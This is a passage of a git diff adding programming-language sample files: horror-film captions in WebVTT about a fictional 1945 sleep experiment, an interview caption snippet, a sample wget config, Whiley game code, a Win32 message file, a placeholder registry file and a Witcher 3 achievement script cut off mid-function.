+<v Scientist><i>Put Felix Nast down now or we will end
+the experiment and you will be shot!</i>
+
+00:10:09.700 --> 00:10:10.700
+<v Hanz>Stop this or they will shoot you!
+
+00:10:10.980 --> 00:10:13.320
+<v Ulrich>You talk too much.
+
+00:10:17.920 --> 00:10:18.500
+<v Hanz>Ulrich!
+
+00:10:50.280 --> 00:10:52.920
+<v Scientist>The gas has been active for seven days.
+
+00:10:53.520 --> 00:10:57.360
+<v Scientist>Normal behaviour resumes outside of the
+outburst on day four.
+
+00:10:58.680 --> 00:11:01.100
+<v Scientist>The men have still yet to sleep.
+
+00:11:04.960 --> 00:11:07.640
+<v Scientist>Time for some personal business.
+
+00:11:30.080 --> 00:11:33.840
+<v Hanz>Hey, what happened the other day?
+
+00:11:34.340 --> 00:11:37.000
+<v Ulrich>I almost killed Felix.
+
+00:11:37.000 --> 00:11:38.380
+<v Ulrich>What's happened with you?
+
+00:11:40.620 --> 00:11:43.240
+<v Hanz>You know what I mean.
+
+00:11:44.060 --> 00:11:46.000
+<v Hanz>No one intervened.
+
+00:11:46.000 --> 00:11:48.340
+<v Hanz>No one stopped you.
+
+00:11:48.660 --> 00:11:53.640
+<v Hanz>You just, you just looked at the wall and
+dropped him.
+
+00:11:55.380 --> 00:11:59.620
+<v Hanz>What did you see?
+
+00:12:05.120 --> 00:12:10.920
+<v Hanz>Look, at least tell me your story.
+
+00:12:10.920 --> 00:12:14.660
+<v Hanz>Everyone's got a story.
+
+00:12:25.420 --> 00:12:34.820
+<v Ulrich>I was a soldier, and like you,
+not a very good one.
+
+00:12:35.940 --> 00:12:46.220
+<v Ulrich>I wasn't cruel in what I did but what I
+stood for was damning enough, I suppose.
+
+00:12:47.020 --> 00:12:53.220
+<v Ulrich>What we all stood for was damning enough.
+
+00:12:54.020 --> 00:12:58.140
+<v Ulrich>I was stationed at a camp, a labour camp.
+
+00:12:58.140 --> 00:13:02.240
+<v Ulrich>My father was the commanding officer of the
+camp.
+
+00:13:03.080 --> 00:13:13.940
+<v Ulrich>He was a good man as I remember from my
+childhood, but something… changed in him.
+
+00:13:16.080 --> 00:13:23.880
+<v Ulrich>I went to his office one day to deliver a
+daily report.
+
+00:13:25.300 --> 00:13:32.560
+<v Ulrich>I opened the door and he had his back turned to me.
+
+00:13:32.740 --> 00:13:39.580
+<v Ulrich>I called to him but he didn't answer.
+
+00:13:39.580 --> 00:13:49.640
+<v Ulrich>He just put the barrel of his Luger and he…
+
+00:13:55.100 --> 00:14:02.920
+<v Ulrich>If there was one thing I could have
+asked him it would be why?
+
+00:14:04.500 --> 00:14:12.280
+<v Ulrich>Was it fear, was it remorse, was it grief?
+
+00:14:18.200 --> 00:14:19.320
+<v Ulrich>That's why I tried…
+
+00:14:19.320 --> 00:14:26.680
+<v Hanz>Ulrich, I don't know how much
+more of this I can take.
+
+00:14:28.620 --> 00:14:31.340
+<v Hanz>I haven't slept in days.
+
+00:14:33.220 --> 00:14:34.520
+<v Ulrich>None of us have.
+
+00:14:34.920 --> 00:14:37.060
+<v Ulrich>It must be what the gas does.
+
+00:14:39.440 --> 00:14:41.140
+<v Ulrich>It keeps you awake.
+
+00:14:42.040 --> 00:14:48.060
+<v Ulrich>They're going to use it on their soldiers
+so they don't require sleep.
+
+00:14:49.220 --> 00:14:52.220
+<v Hanz>I can't do this anymore.
+
+00:14:52.230 --> 00:14:56.540
+<v Hanz>I can't breathe in my own skin.
+
+00:14:56.540 --> 00:15:00.639
+<v Hanz>I have to get out of here.
+
+00:15:00.640 --> 00:15:07.360
+<v Ulrich>Just think of your freedom, that's
+what's keeping me going.
+
+00:15:09.420 --> 00:15:17.560
+<v Hanz>You really think we'll be gifted freedom after this?
+
+00:15:30.440 --> 00:15:35.820
+<v Scientist>Day 12, Hanz has been screaming for the past 7 hours.
+
+00:15:38.240 --> 00:15:42.600
+<v Scientist>What seems strange is that the other
+men have not reacted in anyway.
+
+00:15:47.180 --> 00:15:51.000
+<v Scientist>Hanz has been screaming now for the past 12 hours.
+
+00:15:51.480 --> 00:15:56.640
+<v Scientist>His screams have been replaced with a faint
+whimper. It seems he has permanently destroyed
+
+00:15:56.649 --> 00:16:00.170
+<v Scientist>his vocal cords.
+
+00:16:00.170 --> 00:16:10.220
+<v Scientist>Sleep Experiment day 12 June 14th 1945, end log.
+
+00:16:20.160 --> 00:16:21.520
+<v Scientist>Ah, Felix.
+
+00:16:23.800 --> 00:16:25.803
+<v Scientist>You've come to say hello?
+
+00:16:25.803 --> 00:16:27.603
+<v Scientist><i>Felix, Felix, Felix…</i>
+
+00:16:44.240 --> 00:16:47.580
+<v Scientist>What are you thinking Felix?
+
+00:16:50.580 --> 00:16:55.360
+<v Scientist>That's why you're in there, and I'm out here.
+
+00:17:14.600 --> 00:17:17.600
+<v Scientist><i>Felix, Felix, Felix…</i>
+
+00:17:32.640 --> 00:17:36.240
+<v Scientist>Sleep Experiment, day 15.
+
+00:17:40.460 --> 00:17:42.060
+<v Scientist>Day 15…
+
+00:17:49.580 --> 00:17:52.180
+<v Scientist>Sleep Experiment.
+
+00:19:12.000 --> 00:19:15.080
+<v Scientist>Felix! I demand the papers removed from the window!
+
+00:19:18.880 --> 00:19:20.100
+<v Scientist>Felix!
+
+00:19:20.540 --> 00:19:21.680
+<v Scientist>Remove the paper!
+
+00:19:23.020 --> 00:19:24.020
+<v Scientist>Felix!
+
+00:19:26.940 --> 00:19:34.800
+<v Scientist>Day 15, Felix has covered the port window
+with paper from the book in what appears to
+
+00:19:34.800 --> 00:19:37.320
+<v Scientist>be his own excrement.
+
+00:19:37.320 --> 00:19:42.780
+<v Scientist>Strange noises have been coming from inside
+the cell, but the oxygen levels show that the
+
+00:19:42.780 --> 00:19:46.560
+<v Scientist>men are still awake and alive.
+
+00:19:47.060 --> 00:19:50.840
+<v Scientist>I'm not sure how much longer the experiment can go on.
+
+00:19:50.860 --> 00:19:56.960
+<v Scientist>Experiment day 15, June 17th 1945.
+
+00:20:01.940 --> 00:20:05.440
+<v Scientist><i>Gentlemen, the experiment is over.</i>
+
+00:20:05.440 --> 00:20:09.860
+<v Scientist><i>We are turning off the gas and opening the chamber.</i>
+
+00:20:09.860 --> 00:20:13.700
+<v Scientist>Stand back against the wall or you will be shot.
+
+00:20:13.700 --> 00:20:16.760
+<v Scientist>Upon examination you will be freed.
+
+00:20:18.100 --> 00:20:22.860
+<v Felix>We no longer wish to be freed.
+
+00:20:47.400 --> 00:20:52.480
+<v Scientist><i>Day 20 of the Sleep Experiment.</i>
+
+00:20:52.480 --> 00:20:59.540
+<v Scientist><i>Upon opening the chamber it became clear the
+level of mental damage caused by the gas.</i>
+
+00:20:59.540 --> 00:21:03.820
+<v Scientist><i>The men have ripped into their own flesh.</i>
+
+00:21:03.820 --> 00:21:10.540
+<v Scientist><i>The amount of blood lost by the three
+men should have killed them all.</i>
+
+00:21:11.500 --> 00:21:14.060
+<v Scientist><i>Hanz was rushed to the emergency room.</i>
+
+00:21:15.280 --> 00:21:19.900
+<v Scientist><i>He tried to utter words but his torn vocal
+cords allowed only a weak whisper.</i>
+
+00:21:21.520 --> 00:21:27.840
+<v Scientist><i>After fighting to stay awake under the anaesthesia,
+he died on the operating table,</i>
+
+00:21:27.840 --> 00:21:29.720
+<v Scientist><i>11:45 PM.</i>
+
+00:21:31.580 --> 00:21:37.400
+<v Scientist><i>Felix was sent to the emergency room. He begged
+to be put back on the gas and screamed in</i>
+
+00:21:37.400 --> 00:21:43.620
+<v Scientist><i>agonising pain when we brought the anaesthesia
+anywhere near him.</i>
+
+00:21:43.620 --> 00:21:47.520
+<v Scientist><i>We then attempted the surgery without it.</i>
+
+00:21:47.520 --> 00:21:50.400
+<v Scientist><i>He died the second his eyes closed from fatigue,</i>
+
+00:21:51.300 --> 00:21:52.700
+<v Scientist><i>12:14 AM.</i>
+
+00:21:55.220 --> 00:21:59.020
+<v Scientist><i>I left Ulrich in the chamber to be alone with me.</i>
+
+00:22:00.640 --> 00:22:02.420
+<v Scientist><i>I needed answers.</i>
+
+00:22:06.080 --> 00:22:10.040
+<v Scientist>Ulrich, what happened?
+
+00:22:11.540 --> 00:22:12.980
+<v Scientist>What did you do?
+
+00:22:21.040 --> 00:22:23.800
+<v Ulrich>Hell could not wait for these men.
+
+00:22:26.240 --> 00:22:28.700
+<v Ulrich>The doctor sicker than his patients.
+
+00:22:29.700 --> 00:22:34.800
+<v Ulrich>The boy allowing his own kind to perish
+on account of his own negligence.
+
+00:22:35.280 --> 00:22:39.420
+<v Ulrich>The man who blindly follows evil
+for the sake of convenience.
+
+00:22:45.180 --> 00:22:51.800
+<v Ulrich>Without the fortitude of unconsciousness,
+all men will share this fate.
+
+00:22:54.180 --> 00:22:57.480
+<v Scientist>What are you?
+
+00:23:05.180 --> 00:23:06.340
+<v Ulrich>I'm awake.
+
+00:23:11.160 --> 00:23:12.960
+<v Ulrich>I'm awake.
+
+00:23:54.520 --> 00:24:03.440
+<v Scientist>Whether or not you believe these men
+deserve this fate is irrelevant.
+
+00:24:03.440 --> 00:24:07.220
+<v Scientist>No man can decide this.
+
+00:24:07.220 --> 00:24:13.420
+<v Scientist>I only hope the world will forgive
+my part in this experiment.
+
+00:24:16.820 --> 00:24:27.920
+<v Scientist>What these men did will be forever written in
+history but I can still erase what I've done.
+
+00:24:27.920 --> 00:24:34.720
+<v Scientist>End log, June 22nd 1945.
diff --git a/samples/WebVTT/example.vtt b/samples/WebVTT/example.vtt
new file mode 100644
index 0000000000..2979bcc8fc
--- /dev/null
+++ b/samples/WebVTT/example.vtt
@@ -0,0 +1,43 @@
+WEBVTT Kind: captions; Language: en
+
+00:09.000 --> 00:11.000
+<v Roger Bingham>We are in New York City
+
+00:11.000 --> 00:13.000
+<v Roger Bingham>We are in New York City
+
+00:13.000 --> 00:16.000
+<v Roger Bingham>We're actually at the Lucern Hotel, just down the street
+
+00:16.000 --> 00:18.000
+<v Roger Bingham>from the American Museum of Natural History
+
+00:18.000 --> 00:20.000
+<v Roger Bingham>And with me is Neil deGrasse Tyson
+
+00:20.000 --> 00:22.000
+<v Roger Bingham>Astrophysicist, Director of the Hayden Planetarium
+
+00:22.000 --> 00:24.000
+<v Roger Bingham>at the AMNH.
+
+00:24.000 --> 00:26.000
+<v Roger Bingham>Thank you for walking down here.
+
+00:27.000 --> 00:30.000
+<v Roger Bingham>And I want to do a follow-up on the last conversation we did.
+
+00:30.000 --> 00:31.500 align:end size:50%
+<v Roger Bingham>When we e-mailed—
+
+00:30.500 --> 00:32.500 align:start size:50%
+<v Neil deGrasse Tyson>Didn't we talk about enough in that conversation?
+
+00:32.000 --> 00:35.500 align:end size:50%
+<v Roger Bingham>No! No no no no; 'cos 'cos obviously 'cos
+
+00:32.500 --> 00:33.500 align:start size:50%
+<v Neil deGrasse Tyson><i>Laughs</i>
+
+00:35.500 --> 00:38.000
+<v Roger Bingham>You know I'm so excited my glasses are falling off here.
diff --git a/samples/Wget Config/filenames/.wgetrc b/samples/Wget Config/filenames/.wgetrc
new file mode 100644
index 0000000000..433c6adef3
--- /dev/null
+++ b/samples/Wget Config/filenames/.wgetrc	
@@ -0,0 +1,137 @@
+###
+### Sample Wget initialization file .wgetrc
+###
+
+## You can use this file to change the default behaviour of wget or to
+## avoid having to type many many command-line options. This file does
+## not contain a comprehensive list of commands -- look at the manual
+## to find out what you can put into this file. You can find this here:
+##   $ info wget.info 'Startup File'
+## Or online here:
+##   https://www.gnu.org/software/wget/manual/wget.html#Startup-File
+##
+## Wget initialization file can reside in /usr/local/etc/wgetrc
+## (global, for all users) or $HOME/.wgetrc (for a single user).
+##
+## To use the settings in this file, you will have to uncomment them,
+## as well as change them, in most cases, as the values on the
+## commented-out lines are the default values (e.g. "off").
+##
+## Command are case-, underscore- and minus-insensitive.
+## For example ftp_proxy, ftp-proxy and ftpproxy are the same.
+
+
+##
+## Global settings (useful for setting up in /usr/local/etc/wgetrc).
+## Think well before you change them, since they may reduce wget's
+## functionality, and make it behave contrary to the documentation:
+##
+
+# You can set retrieve quota for beginners by specifying a value
+# optionally followed by 'K' (kilobytes) or 'M' (megabytes).  The
+# default quota is unlimited.
+quota = inf
+
+# You can lower (or raise) the default number of retries when
+# downloading a file (default is 20).
+tries = 20
+
+# Lowering the maximum depth of the recursive retrieval is handy to
+# prevent newbies from going too "deep" when they unwittingly start
+# the recursive retrieval.  The default is 5.
+reclevel = 5
+
+# By default Wget uses "passive FTP" transfer where the client
+# initiates the data connection to the server rather than the other
+# way around.  That is required on systems behind NAT where the client
+# computer cannot be easily reached from the Internet.  However, some
+# firewalls software explicitly supports active FTP and in fact has
+# problems supporting passive transfer.  If you are in such
+# environment, use "passive_ftp = off" to revert to active FTP.
+passive_ftp = off
+
+# The "wait" command below makes Wget wait between every connection.
+# If, instead, you want Wget to wait only between retries of failed
+# downloads, set waitretry to maximum number of seconds to wait (Wget
+# will use "linear backoff", waiting 1 second after the first failure
+# on a file, 2 seconds after the second failure, etc. up to this max).
+waitretry = 10
+
+
+##
+## Local settings (for a user to set in his $HOME/.wgetrc).  It is
+## *highly* undesirable to put these settings in the global file, since
+## they are potentially dangerous to "normal" users.
+##
+## Even when setting up your own ~/.wgetrc, you should know what you
+## are doing before doing so.
+##
+
+# Set this to on to use timestamping by default:
+timestamping = off
+
+# It is a good idea to make Wget send your email address in a `From:'
+# header with your request (so that server administrators can contact
+# you in case of errors).  Wget does *not* send `From:' by default.
+header = From: Your Name <username@site.domain>
+
+# You can set up other headers, like Accept-Language.  Accept-Language
+# is *not* sent by default.
+header = Accept-Language: en
+
+# You can set the default proxies for Wget to use for http, https, and ftp.
+# They will override the value in the environment.
+https_proxy = http://proxy.yoyodyne.com:18023/
+http_proxy = http://proxy.yoyodyne.com:18023/
+ftp_proxy = http://proxy.yoyodyne.com:18023/
+
+# If you do not want to use proxy at all, set this to off.
+use_proxy = on
+
+# You can customize the retrieval outlook.  Valid options are default,
+# binary, mega and micro.
+dot_style = default
+
+# Setting this to off makes Wget not download /robots.txt.  Be sure to
+# know *exactly* what /robots.txt is and how it is used before changing
+# the default!
+robots = on
+
+# It can be useful to make Wget wait between connections.  Set this to
+# the number of seconds you want Wget to wait.
+wait = 0
+
+# You can force creating directory structure, even if a single is being
+# retrieved, by setting this to on.
+dirstruct = off
+
+# You can turn on recursive retrieving by default (don't do this if
+# you are not sure you know what it means) by setting this to on.
+recursive = off
+
+# To always back up file X as X.orig before converting its links (due
+# to -k / --convert-links / convert_links = on having been specified),
+# set this variable to on:
+backup_converted = off
+
+# To have Wget follow FTP links from HTML files by default, set this
+# to on:
+follow_ftp = off
+
+# To try ipv6 addresses first:
+prefer-family = IPv6
+
+# Set default IRI support state
+iri = off
+
+# Force the default system encoding
+localencoding = UTF-8
+
+# Force the default remote server encoding
+remoteencoding = UTF-8
+
+# Turn on to prevent following non-HTTPS links when in recursive mode
+httpsonly = off
+
+# Tune HTTPS security (auto, SSLv2, SSLv3, TLSv1, PFS)
+secureprotocol = auto
diff --git a/samples/Whiley/conway.whiley b/samples/Whiley/conway.whiley
new file mode 100644
index 0000000000..ff3ab8460e
--- /dev/null
+++ b/samples/Whiley/conway.whiley
@@ -0,0 +1,86 @@
+import uint from std::integer
+import Window,Document,Element from w3c::dom
+import HTMLCanvasElement,MouseEvent,EventListener from w3c::dom
+
+import model
+import view
+
+/**
+ * Controller state.  This just simplifies the task of passing around
+ * the information necessary to manage the game and user interactions.
+ */
+public type State is {
+    // Enclosing Window (for animation)
+    Window window,
+    // Canvas for drawing
+    HTMLCanvasElement canvas,    
+    // State of game
+    model::State game,
+    // Flag when executing
+    bool running
+}
+
+method State(Window window, HTMLCanvasElement canvas, model::State game) -> State:
+    // This method should be deprecated in the future!
+    return { window: window, canvas: canvas, game: game, running: false }
+
+/**
+ * Main entrypoint for the game.
+ */
+public export method main(Window window, HTMLCanvasElement canvas, uint width, uint height):
+    Document document = window->document
+    // Get items
+    Element c = document->getElementById("mycanvas")
+    Element b = document->getElementById("startstop")
+    model::State m = model::init(width,height)
+    // Create peristent state object
+    &State st = new State(window, canvas, m)
+    // Configure mouse click listener
+    EventListener el1 = &(MouseEvent e -> onclick_canvas(e,st))
+    EventListener el2 = &(MouseEvent e -> onclick_button(b,st))
+    c->addEventListener("click", el1)
+    b->addEventListener("click", el2)
+    // Begin game loop
+    loop(st)
+
+/**
+ * Click handler for board.  This determines the game cell on which
+ * the user clicked, and updates the game state accordingly.
+ */
+method onclick_canvas(MouseEvent e, &State st):
+   int x = e->offsetX / 20
+   int y = e->offsetY / 20
+   // Apply click to model state
+   model::State g = model::click(x,y,st->game)
+   // Update state object
+   st->game.cells = g.cells
+
+/**
+ * Click start / stop button.  This starts or stops execution
+ * accordingly, and updates the text for the button as well.
+ */
+method onclick_button(Element b, &State st):
+    //
+    if st->running:
+        st->running = false
+        b->textContent = "START"
+    else:
+        st->running = true    
+        b->textContent = "STOP"        
+
+/**
+ * Game loop to be called on every frame.  If the game is executing,
+ * then this updates the game state.  Eitherway, the board is redrawn
+ * to the canvas completely.
+ */
+method loop(&State st):
+    // Update game state (if running)
+    if st->running:
+        // Execute one step
+        model::State g = model::update(st->game)    
+        // Update controller state
+        st->game.cells = g.cells        
+    // Render current game state
+    view::draw(st->canvas,st->game)
+    // Request next frame
+    st->window->requestAnimationFrame(&(int ms -> loop(st)))
diff --git a/samples/Whiley/minesweeper.whiley b/samples/Whiley/minesweeper.whiley
new file mode 100644
index 0000000000..a889e5b5b9
--- /dev/null
+++ b/samples/Whiley/minesweeper.whiley
@@ -0,0 +1,76 @@
+
+import uint from std::integer
+import uinteger from js::core
+import random from js::math
+import Document, Window, CanvasRenderingContext2D from w3c::dom
+import Element,HTMLCanvasElement, HTMLImageElement, MouseEvent from w3c::dom
+
+import model
+import view
+
+/**
+ * Add a given number of bombs to the board.
+ */
+method add_random_bombs(model::Board board, uint n) -> model::Board:
+    uinteger remaining = |board.squares|   
+    // Use Knuth's algorithm S
+    for x in 0..board.width:
+        for y in 0..board.height:
+            // Flip a coin (so-to-speak)
+            if random(remaining) < n:
+                // create bomb square
+                model::Square s = model::HiddenSquare(true,false)
+                // Update board
+                board = model::set_square(board,(uint) x, (uint) y,s)
+                // Reduce number of bombs to place
+                n = n - 1
+            // Reduce remaining options
+            remaining = remaining - 1
+    // return updated board
+    return board
+
+/**
+ * Handle a mouse event on the canvas
+ */
+method onclick_handler(MouseEvent e, &view::State state, Window window):
+    // Convert from view to world coordinates
+    uint x = e->offsetX / state->gridsize
+    uint y = e->offsetY / state->gridsize
+    // Update board
+    if e->shiftKey:
+        state->board = model::flag_square(state->board,x,y)
+    else:
+        state->board = model::expose_square(state->board,x,y)
+    // Render initial board
+    view::draw_board(*state)
+    // Finally determine game status
+    (bool gameOver, bool winner) = model::is_gameover(state->board)
+    // Check whether game over
+    if gameOver:
+        // Yes, but win or lose?
+        if winner:
+            window->alert("Well done --- You Found all the Mines!")
+        else:
+            window->alert("Game Over --- You Lost!")
+    // Done
+
+/**
+ * Create a new game of Minesweeper
+ */
+public export method main(uint width, uint height, uint bombs, Window window, HTMLCanvasElement canvas, HTMLImageElement[] images)
+// Requires at least 9 images
+requires |images| == 13:
+    Document document = window->document
+    // NOTE: following should not be required!
+    Element c = document->getElementById("myCanvas")
+    // Create a standard sized board
+    model::Board board = model::Board(width,height)
+    // Add bombs
+    board = add_random_bombs(board,bombs)
+    // Initialise the view state
+    &view::State state = new view::init(document,canvas,board,images)
+    // Render initial board
+    view::draw_board(*state)
+    // Configure mouse click listener
+    c->addEventListener("click",&(MouseEvent e -> onclick_handler(e,state,window)))
+    
diff --git a/samples/Whiley/option.whiley b/samples/Whiley/option.whiley
new file mode 100644
index 0000000000..e3c3e849bc
--- /dev/null
+++ b/samples/Whiley/option.whiley
@@ -0,0 +1,90 @@
+package std
+
+/**
+ * Define none as a constrained form of null.
+ */
+public type None is null where true
+
+/**
+ * Define option component separately so that it can be used for
+ * pattern matching.
+ */
+public type Some<T> is { T value } where true
+
+/**
+ * Encode option as either nothing, or some value.
+ */
+public type Option<T> is None | Some<T>
+
+/**
+ * Static value for None
+ */
+public final None None = null
+
+/**
+ * Constructor for Some values.
+ */
+public function Some<T>(T value) -> (Some<T> r)
+// Value return matches value given
+ensures r.value == value:
+    //
+    return { value: value }
+
+/**
+ * Check whether option is Some value containing the given value.
+ */
+public function contains<T>(Option<T> option, T value) -> (bool r)
+// If option is some value, then check whether matches given value
+ensures (option is Some<T>) ==> (r <==> (option.value == value))
+// Otherwise, fail
+ensures (option is None) ==> !r:
+    //
+    if option is None:
+        return false
+    else:
+        return option.value == value
+
+/**
+ * Unwrap the option value using a default for the None case.
+ */
+public function unwrap<T>(Option<T> option, T dEfault) -> (T r)
+// If option is some value, then return that value
+ensures (option is Some<T>) ==> (option.value == r)
+// Otherwise, return default value
+ensures (option is None) ==> (r == dEfault):
+    //
+    if option is None:
+        return dEfault
+    else:
+        return option.value
+
+/**
+ * Map from one kind of option to another using a given projection
+ * from values of the source type to those of the target type.
+ */
+public function map<S,T>(Option<S> option, function(S)->(T) fn) -> (Option<T> result)
+// If option is some value, then result is mapping of that value
+ensures (option is Some<S>) ==> (result is Some<T> && result.value == fn(option.value))
+// Otherwise, result is none
+ensures (option is None) ==> (result is None):
+    //
+    if option is None:
+        return None
+    else:
+        return Some<T>(fn(option.value))
+
+
+/**
+ * Filter the value of an option.  That is, if the option has some
+ *  value for which the filter is true, keep this.  Otherwise, return
+ * None.
+ */
+public function filter<T>(Option<T> option, function(T)->(bool) filter) -> (Option<T> r)
+ensures (option is Some<T> && filter(option.value)) <==> (r is Some<T> && r.value == option.value):
+    //
+    if !(option is None) && filter(option.value):
+        return option
+    else:
+        return None
+    
+    
\ No newline at end of file
diff --git a/samples/MediaWiki/README.wiki b/samples/Wikitext/README.wiki
similarity index 100%
rename from samples/MediaWiki/README.wiki
rename to samples/Wikitext/README.wiki
diff --git a/samples/MediaWiki/mediawiki.mediawiki b/samples/Wikitext/mediawiki.mediawiki
similarity index 100%
rename from samples/MediaWiki/mediawiki.mediawiki
rename to samples/Wikitext/mediawiki.mediawiki
diff --git a/samples/Win32 Message File/logmess.mc b/samples/Win32 Message File/logmess.mc
new file mode 100644
index 0000000000..872e3bd9ed
--- /dev/null
+++ b/samples/Win32 Message File/logmess.mc	
@@ -0,0 +1,31 @@
+;/*MessageIDTypedef=WORD*/
+;
+;/*MessageID=0x1*/
+;/*SymbolicName=CAT_GENERIC*/
+;/*Language=English*/
+;/*Generic Category*/
+;/*.*/
+;
+MessageIDTypedef=DWORD
+
+MessageID=0x10
+Severity=Warning
+Facility=Application
+SymbolicName=MSG_WARNING
+Language=English
+%1: %2
+.
+MessageID=0x11
+Severity=Error
+Facility=Application
+SymbolicName=MSG_ERROR
+Language=English
+%1: %2
+.
+MessageID=0x12
+Severity=Informational
+Facility=Application
+SymbolicName=MSG_INFO
+Language=English
+%1: %2
+.
diff --git a/samples/Windows Registry Entries/sample.reg b/samples/Windows Registry Entries/sample.reg
new file mode 100644
index 0000000000..45ee49b2b5
--- /dev/null
+++ b/samples/Windows Registry Entries/sample.reg	
@@ -0,0 +1,51 @@
+Windows Registry Editor Version 5.00
+
+
+; Comment Comment Comment
+
+[HKLM\SOFTWARE\Fake_Key\Fake_SubKey_1] ; Comment Comment Comment
+
+[HKLM\SOFTWARE\Fake_Key\Fake_SubKey_1\Fake_SubKey_2]
+@=- ; Comment Comment Comment
+
+[HKLM\SOFTWARE\Fake_SubKey\Fake_SubKey_1\Fake_SubKey_2\Fake_SubKey_3]
+@="Default Value" ; Comment Comment Comment
+"String Value"="My String Value" ; Comment Comment Comment
+"String Value With Escaped Chars"="C:\\Blah\\Blah\\Blee" ; Comment Comment Comment
+"Binary Value"=hexadecimal
+"DWORD Value"=dword:00000005
+"Bit Value"=0
+"Binary Value"=hex:25,53,79,73,74,65,6d,52,6f,6f,74,25,00
+"Value D"=hex(0):<REG_NONE (as comma-delimited list of hexadecimal values)> ; Comment Comment Comment
+"Value E"=hex(1):<REG_SZ (as comma-delimited list of hexadecimal values representing a UTF-16LE NUL-terminated string)>
+"Expandable String Value"=hex(2):25,53,79,73,74,65,6d,52,6f,6f,74,25,00
+"Value G"=hex(3):<Binary data (as comma-delimited list of hexadecimal values)> ; equal to "Value B"
+"Value H"=hex(4):<DWORD value (as comma-delimited list of 4 hexadecimal values, in little endian byte order)>
+"Value I"=hex(5):<DWORD value (as comma-delimited list of 4 hexadecimal values, in big endian byte order)>
+"Multi String Value"=hex(7):25,53,79,73,74,65,6d,52,6f,6f,74,25,00\
+25,53,79,73,74,65,6d,52,6f,6f,74,25,00\
+25,53,79,73,74,65,6d,52,6f,6f,74,25,00\
+25,53,79,73,74,65,6d,52,6f,6f,74,25,00\
+"Value K"=hex(8):<REG_RESOURCE_LIST (as comma-delimited list of hexadecimal values)>
+"Value L"=hex(a):<REG_RESOURCE_REQUIREMENTS_LIST (as comma-delimited list of hexadecimal values)>
+"Value M"=hex(b):<QWORD value (as comma-delimited list of 8 hexadecimal values, in little endian byte order)>
+"Deleted Value"=- ; Comment Comment Comment
+
+[HKEY_LOCAL_MACHINE]
+[HKLM]
+
+[HKEY_CURRENT_CONFIG]
+[HKCC]
+
+[HKEY_CLASSES_ROOT]
+[HKCR]
+
+[HKEY_CURRENT_USER]
+[HKCU]
+
+[HKEY_USERS]
+[HKU]
+
+[HKEY_PERFORMANCE_DATA]
+
+[HKEY_DYN_DATA]
diff --git a/samples/Witcher Script/achievement_stats.ws b/samples/Witcher Script/achievement_stats.ws
new file mode 100644
index 0000000000..e3a2e46c1c
--- /dev/null
+++ b/samples/Witcher Script/achievement_stats.ws	
@@ -0,0 +1,217 @@
+/**
+ * SOURCE: https://github.com/ADawesomeguy/tw3-modAchievementStatTrak
+ * LICENSE: https://github.com/ADawesomeguy/tw3-modAchievementStatTrak/blob/master/LICENSE
+ */
+
+// TODO: Multiple functions: one returns array of stuff, another formats, and one final exec function
+
+// Function to get the stats in a formatted string
+function getAchievementStats() : array<EStatistic>
+{
+    // Integer to be later used in the for loop
+    var i : int;
+
+    // Array to store the achievement stats
+    var stats : array<EStatistic>;
+
+    // String where all the achievements go
+    var achievementString : string;
+    
+    // Set achievement string empty to be later added on to
+    achievementString = "";
+
+    // Add all stats to the array
+    stats.PushBack(ES_CharmedNPCKills);
+    stats.PushBack(ES_AardFallKills);
+    stats.PushBack(ES_EnvironmentKills);
+    stats.PushBack(ES_CounterattackChain);
+    stats.PushBack(ES_DragonsDreamTriggers);
+    stats.PushBack(ES_KnownPotionRecipes);
+    stats.PushBack(ES_KnownBombRecipes);
+    stats.PushBack(ES_ReadBooks);
+    stats.PushBack(ES_HeadShotKills);
+    stats.PushBack(ES_BleedingBurnedPoisoned);
+    stats.PushBack(ES_DestroyedNests);
+    stats.PushBack(ES_FundamentalsFirstKills);
+    stats.PushBack(ES_FinesseKills);
+    stats.PushBack(ES_SelfArrowKills);
+    stats.PushBack(ES_ActivePotions);
+    stats.PushBack(ES_KilledCows);
+    stats.PushBack(ES_SlideTime);
+
+    // Return the array of stats
+    return stats;
+}
+
+function getAchievementStatVal(statEnum : EStatistic) : int
+{
+    // Get value from enum
+    return theGame.GetGamerProfile().GetStatValue(statEnum);
+}
+
+function getAchievementStatNameRaw(statEnum : EStatistic) : string
+{
+    // Get raw name from enum
+    return StatisticEnumToName(statEnum);
+}
+
+function getAchievmentStatName(rawStatName : string) : string
+{
+    var formattedStatName : string;
+
+    // Set Steam/GOG achievement name from name
+    switch (rawStatName)
+    {
+        case "statistic_charmed_kills":
+            formattedStatName = "The Enemy of My Enemy";
+            break;
+        
+        case "statistic_aardfall_kills":
+            formattedStatName = "Humpty Dumpty";
+            break;
+        
+        case "statistic_environment_kills":
+            formattedStatName = "Environmentally Unfriendly";
+            break;
+
+        case "statistic_bleed_burn_poison":
+            formattedStatName = "Overkill";
+            break;
+        
+        case "statistic_counterattack_chain":
+            formattedStatName = "Kaer Morhen Trained";
+            break;
+
+        case "statistic_burning_gas_triggers":
+            formattedStatName = "That Is the Evilest Thing";
+            break;
+        
+        case "statistic_known_potions":
+            formattedStatName = "Let's Cook!";
+            break;
+
+        case "statistic_known_bombs":
+            formattedStatName = "Bombardier";
+            break;
+
+        case "statistic_head_shot_kills":
+            formattedStatName = "Master Marksman";
+            break;
+
+        case "statistic_read_books":
+            formattedStatName = "Bookworm";
+            break;
+
+        case "statistic_destroyed_nests":
+            formattedStatName = "Fire in the Hole";
+            break;
+        
+        case "statistic_fundamentals_kills":
+            formattedStatName = ""; // Don't know what achievement this corresponds to
+            break;
+
+        case "statistic_finesse_kills":
+            formattedStatName = ""; // Don't know what achievement this corresponds to
+            break;
+
+        case "statistic_self_arrow_kills":
+            formattedStatName = "Return to Sender";
+            break;
+
+        case "statistic_active_potions":
+            formattedStatName = "Can Quit Anytime I Want";
+            break;
+
+        case "statistic_killed_cows":
+            formattedStatName = "Moo-rderer";
+            break;
+
+        case "statistic_slide_time":
+            formattedStatName = "Rad Steez, Bro!";
+            break;
+        
+        default:
+            formattedStatName = "";
+            break;
+    }
+
+    // Return Steam/GOG achievement name
+    return formattedStatName;
+}
+
+function getFormattedAchievementStats(statList : array<EStatistic>) : string
+{
+    // Vars for formatted string
+    var achievementString : string;
+    var currentRawName : string;
+    var currentName : string;
+    var currentVal : int;
+    var i : int;
+    achievementString = "";
+
+    // Loop through each stat to create a final string that goes in the Gwent book
+    for (i = 0; i < statList.Size(); i += 1)
+    {
+        // Use other functions to get data
+        currentRawName = getAchievementStatNameRaw(statList[i]);
+        currentName = getAchievmentStatName(currentRawName);
+        currentVal = getAchievementStatVal(statList[i]);
+
+        // If allowing spoilers was not toggled on
